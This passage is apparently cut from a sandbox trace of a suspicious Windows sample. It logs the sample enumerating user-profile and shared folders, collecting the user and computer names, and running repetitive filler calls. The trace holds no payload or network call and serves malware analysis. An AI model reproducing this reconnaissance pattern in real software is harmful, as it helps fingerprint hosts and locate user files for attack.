lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Microsoft\\*") returned="c:\\Users\\All Users\\Microsoft\\*" [0123.951] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Assistance" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Assistance") returned="c:\\Users\\All Users\\Microsoft\\Assistance" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="c:\\Users\\All Users\\Microsoft\\ClickToRun") returned="c:\\Users\\All Users\\Microsoft\\ClickToRun" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Crypto" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Crypto") returned="c:\\Users\\All Users\\Microsoft\\Crypto" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Device Stage" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Device Stage") returned="c:\\Users\\All Users\\Microsoft\\Device Stage" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="c:\\Users\\All Users\\Microsoft\\DeviceSync") returned="c:\\Users\\All Users\\Microsoft\\DeviceSync" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="DRM" | out: lpString1="c:\\Users\\All Users\\Microsoft\\DRM") returned="c:\\Users\\All Users\\Microsoft\\DRM" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="eHome" | out: lpString1="c:\\Users\\All Users\\Microsoft\\eHome") returned="c:\\Users\\All Users\\Microsoft\\eHome" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Event Viewer") returned="c:\\Users\\All Users\\Microsoft\\Event Viewer" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="c:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="c:\\Users\\All Users\\Microsoft\\IdentityCRL" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Media Player" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Media Player") returned="c:\\Users\\All Users\\Microsoft\\Media Player" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="MF" | out: lpString1="c:\\Users\\All Users\\Microsoft\\MF") returned="c:\\Users\\All Users\\Microsoft\\MF" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="NetFramework" | out: lpString1="c:\\Users\\All Users\\Microsoft\\NetFramework") returned="c:\\Users\\All Users\\Microsoft\\NetFramework" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Network" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Network") returned="c:\\Users\\All Users\\Microsoft\\Network" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Office" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Office") returned="c:\\Users\\All Users\\Microsoft\\Office" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="c:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="RAC" | out: lpString1="c:\\Users\\All Users\\Microsoft\\RAC") returned="c:\\Users\\All Users\\Microsoft\\RAC" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Search" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Search") returned="c:\\Users\\All Users\\Microsoft\\Search" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="User Account Pictures" | out: lpString1="c:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="c:\\Users\\All Users\\Microsoft\\User Account Pictures" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Vault" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Vault") returned="c:\\Users\\All Users\\Microsoft\\Vault" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Windows" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Windows") returned="c:\\Users\\All Users\\Microsoft\\Windows" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Windows Defender" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Windows Defender") returned="c:\\Users\\All Users\\Microsoft\\Windows Defender" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Windows NT" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Windows NT") returned="c:\\Users\\All Users\\Microsoft\\Windows NT" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="WwanSvc" | out: lpString1="c:\\Users\\All Users\\Microsoft\\WwanSvc") returned="c:\\Users\\All Users\\Microsoft\\WwanSvc" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive") returned="c:\\Users\\All Users\\Microsoft OneDrive" [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\") returned="c:\\Users\\All Users\\Microsoft OneDrive\\" [0123.952] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft OneDrive\\") returned 38 [0123.952] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\*") returned="c:\\Users\\All Users\\Microsoft OneDrive\\*" [0123.952] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\", lpString2="setup" | out: lpString1="c:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="c:\\Users\\All Users\\Microsoft OneDrive\\setup" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Mozilla" | out: lpString1="c:\\Users\\All Users\\Mozilla") returned="c:\\Users\\All Users\\Mozilla" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Mozilla", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Mozilla\\") returned="c:\\Users\\All Users\\Mozilla\\" [0123.953] lstrlenW (lpString="c:\\Users\\All Users\\Mozilla\\") returned 27 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Mozilla\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Mozilla\\*") returned="c:\\Users\\All Users\\Mozilla\\*" [0123.953] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Mozilla\\", lpString2="logs" | out: lpString1="c:\\Users\\All Users\\Mozilla\\logs") returned="c:\\Users\\All Users\\Mozilla\\logs" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Oracle" | out: lpString1="c:\\Users\\All Users\\Oracle") returned="c:\\Users\\All Users\\Oracle" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Oracle", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Oracle\\") returned="c:\\Users\\All Users\\Oracle\\" [0123.953] lstrlenW (lpString="c:\\Users\\All Users\\Oracle\\") returned 26 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Oracle\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Oracle\\*") returned="c:\\Users\\All Users\\Oracle\\*" [0123.953] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Package Cache" | out: lpString1="c:\\Users\\All Users\\Package Cache") returned="c:\\Users\\All Users\\Package Cache" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Package Cache\\") returned="c:\\Users\\All Users\\Package Cache\\" [0123.953] lstrlenW (lpString="c:\\Users\\All Users\\Package Cache\\") returned 33 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Package Cache\\*") returned="c:\\Users\\All Users\\Package Cache\\*" [0123.953] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="c:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="c:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0123.953] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="c:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="c:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="c:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="c:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="c:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="c:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0123.954] lstrcatW (in: lpString1="c:\\Users\\All Users\\Package Cache\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="c:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="c:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0123.955] lstrcpyW (in: lpString1=0x24bfc08, lpString2="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0123.955] lstrcpyW (in: lpString1=0x24bfd18, lpString2="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0123.955] lstrcpyW (in: lpString1=0x24bfe20, lpString2="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0123.956] lstrcpyW (in: lpString1=0x24bd830, lpString2="c:\\Users\\Default\\Contacts\\Administrator.contact" | out: lpString1="c:\\Users\\Default\\Contacts\\Administrator.contact") returned="c:\\Users\\Default\\Contacts\\Administrator.contact" [0123.956] lstrcpyW (in: lpString1=0x24bba98, lpString2="c:\\Users\\Default\\Contacts\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Contacts\\desktop.ini") returned="c:\\Users\\Default\\Contacts\\desktop.ini" [0123.956] lstrcpyW (in: lpString1=0x24bbaf0, lpString2="c:\\Users\\Default\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Desktop\\desktop.ini") returned="c:\\Users\\Default\\Desktop\\desktop.ini" [0123.956] lstrcpyW (in: lpString1=0x24bbb48, lpString2="c:\\Users\\Default\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Documents\\desktop.ini") returned="c:\\Users\\Default\\Documents\\desktop.ini" [0123.957] lstrcpyW (in: lpString1=0x24bbba0, lpString2="c:\\Users\\Default\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Downloads\\desktop.ini") returned="c:\\Users\\Default\\Downloads\\desktop.ini" [0123.957] lstrcpyW (in: lpString1=0x24bbbf8, lpString2="c:\\Users\\Default\\Favorites\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Favorites\\desktop.ini") returned="c:\\Users\\Default\\Favorites\\desktop.ini" [0123.958] lstrcpyW (in: lpString1=0x24bff30, lpString2="c:\\Users\\Default\\Links\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Links\\desktop.ini") returned="c:\\Users\\Default\\Links\\desktop.ini" [0123.958] lstrcpyW (in: lpString1=0x24bff80, lpString2="c:\\Users\\Default\\Links\\Desktop.lnk" | out: lpString1="c:\\Users\\Default\\Links\\Desktop.lnk") returned="c:\\Users\\Default\\Links\\Desktop.lnk" [0123.958] lstrcpyW (in: lpString1=0x24bbc50, lpString2="c:\\Users\\Default\\Links\\Downloads.lnk" | out: lpString1="c:\\Users\\Default\\Links\\Downloads.lnk") returned="c:\\Users\\Default\\Links\\Downloads.lnk" [0123.958] lstrcpyW (in: lpString1=0x24bffd0, lpString2="c:\\Users\\Default\\Links\\OneDrive.lnk" | out: lpString1="c:\\Users\\Default\\Links\\OneDrive.lnk") returned="c:\\Users\\Default\\Links\\OneDrive.lnk" [0123.958] lstrcpyW (in: lpString1=0x24bbca8, lpString2="c:\\Users\\Default\\Links\\RecentPlaces.lnk" | out: lpString1="c:\\Users\\Default\\Links\\RecentPlaces.lnk") returned="c:\\Users\\Default\\Links\\RecentPlaces.lnk" [0123.959] lstrcpyW (in: lpString1=0x24c0038, lpString2="c:\\Users\\Default\\Music\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Music\\desktop.ini") returned="c:\\Users\\Default\\Music\\desktop.ini" [0123.959] lstrcpyW (in: lpString1=0x6dffa8, lpString2="c:\\Users\\Default\\NTUSER.DAT" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT") returned="c:\\Users\\Default\\NTUSER.DAT" [0123.959] lstrcpyW (in: lpString1=0x6dda68, lpString2="c:\\Users\\Default\\NTUSER.DAT.LOG" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG") returned="c:\\Users\\Default\\NTUSER.DAT.LOG" [0123.959] lstrcpyW (in: lpString1=0x24c0088, lpString2="c:\\Users\\Default\\NTUSER.DAT.LOG1" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG1") returned="c:\\Users\\Default\\NTUSER.DAT.LOG1" [0123.959] lstrcpyW (in: lpString1=0x24c00d8, lpString2="c:\\Users\\Default\\NTUSER.DAT.LOG2" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG2") returned="c:\\Users\\Default\\NTUSER.DAT.LOG2" [0123.959] lstrcpyW (in: lpString1=0x24c1020, lpString2="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0123.959] lstrcpyW (in: lpString1=0x24c10c0, lpString2="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0123.959] lstrcpyW (in: lpString1=0x24c11a8, lpString2="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0123.959] lstrcpyW (in: lpString1=0x24c1290, lpString2="c:\\Users\\Default\\ntuser.ini" | out: lpString1="c:\\Users\\Default\\ntuser.ini") returned="c:\\Users\\Default\\ntuser.ini" [0123.959] lstrcpyW (in: lpString1=0x24bbd00, lpString2="c:\\Users\\Default\\Pictures\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Pictures\\desktop.ini") returned="c:\\Users\\Default\\Pictures\\desktop.ini" [0123.959] lstrcpyW (in: lpString1=0x24bca50, lpString2="c:\\Users\\Default\\Saved Games\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Saved Games\\desktop.ini") returned="c:\\Users\\Default\\Saved Games\\desktop.ini" [0123.960] lstrcpyW (in: lpString1=0x24bbd58, lpString2="c:\\Users\\Default\\Searches\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Searches\\desktop.ini") returned="c:\\Users\\Default\\Searches\\desktop.ini" [0123.960] lstrcpyW (in: lpString1=0x24bd898, lpString2="c:\\Users\\Default\\Searches\\Everywhere.search-ms" | out: lpString1="c:\\Users\\Default\\Searches\\Everywhere.search-ms") returned="c:\\Users\\Default\\Searches\\Everywhere.search-ms" [0123.960] lstrcpyW (in: lpString1=0x24b9080, lpString2="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms" | out: lpString1="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\Default\\Searches\\Indexed Locations.search-ms" [0123.960] lstrcpyW (in: lpString1=0x24c0128, lpString2="c:\\Users\\Default\\Videos\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Videos\\desktop.ini") returned="c:\\Users\\Default\\Videos\\desktop.ini" [0123.960] lstrcpyW (in: lpString1=0x24c12d0, lpString2="c:\\Users\\desktop.ini" | out: lpString1="c:\\Users\\desktop.ini") returned="c:\\Users\\desktop.ini" [0123.960] lstrcpyW (in: lpString1=0x24bcab0, lpString2="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned="c:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" [0123.960] lstrcpyW (in: lpString1=0x24c0178, lpString2="c:\\Users\\Public\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Desktop\\desktop.ini") returned="c:\\Users\\Public\\Desktop\\desktop.ini" [0123.960] lstrcpyW (in: lpString1=0x24bcb10, lpString2="c:\\Users\\Public\\Desktop\\Google Chrome.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned="c:\\Users\\Public\\Desktop\\Google Chrome.lnk" [0123.960] lstrcpyW (in: lpString1=0x24bcb70, lpString2="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" | out: lpString1="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned="c:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" [0123.960] lstrcpyW (in: lpString1=0x24c1308, lpString2="c:\\Users\\Public\\desktop.ini" | out: lpString1="c:\\Users\\Public\\desktop.ini") returned="c:\\Users\\Public\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24bbdb0, lpString2="c:\\Users\\Public\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Documents\\desktop.ini") returned="c:\\Users\\Public\\Documents\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24bbe08, lpString2="c:\\Users\\Public\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Downloads\\desktop.ini") returned="c:\\Users\\Public\\Downloads\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24bbe60, lpString2="c:\\Users\\Public\\Libraries\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Libraries\\desktop.ini") returned="c:\\Users\\Public\\Libraries\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24bd900, lpString2="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms" | out: lpString1="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0123.961] lstrcpyW (in: lpString1=0x24c01c8, lpString2="c:\\Users\\Public\\Music\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Music\\desktop.ini") returned="c:\\Users\\Public\\Music\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24bbeb8, lpString2="c:\\Users\\Public\\Pictures\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Pictures\\desktop.ini") returned="c:\\Users\\Public\\Pictures\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24bbf10, lpString2="c:\\Users\\Public\\Recorded TV\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Recorded TV\\desktop.ini") returned="c:\\Users\\Public\\Recorded TV\\desktop.ini" [0123.961] lstrcpyW (in: lpString1=0x24c0218, lpString2="c:\\Users\\Public\\Videos\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Videos\\desktop.ini") returned="c:\\Users\\Public\\Videos\\desktop.ini" [0123.961] GetUserNameA (in: lpBuffer=0x20fa50, pcbBuffer=0x20f7d4 | out: lpBuffer="aETAdzjz", pcbBuffer=0x20f7d4) returned 1 [0123.963] GetComputerNameA (in: lpBuffer=0x20f950, nSize=0x20f7d4 | out: lpBuffer="YKYD69Q", nSize=0x20f7d4) returned 1 [0123.964] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x20f850, nSize=0x20f7d4 | out: lpBuffer="YKyd69q", nSize=0x20f7d4) returned 1 [0123.964] lstrlenA (lpString="aETAdzjz") returned 8 [0123.968] lstrlenA (lpString="just string") returned 11 [0123.968] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.968] GetLastError () returned 0x57 [0123.968] GetCurrentProcess () returned 0xffffffff [0123.969] GetLastError () returned 0x57 [0123.969] wsprintfA (in: param_1=0x20fd6b, param_2="%X%P" | out: param_1="41P") returned 3 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetLastError () returned 0x57 [0123.969] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="42P") returned 3 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] lstrlenA (lpString="just string") returned 11 [0123.969] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.969] GetLastError () returned 0x57 [0123.969] GetLastError () returned 0x57 [0123.969] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="6AP") returned 3 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 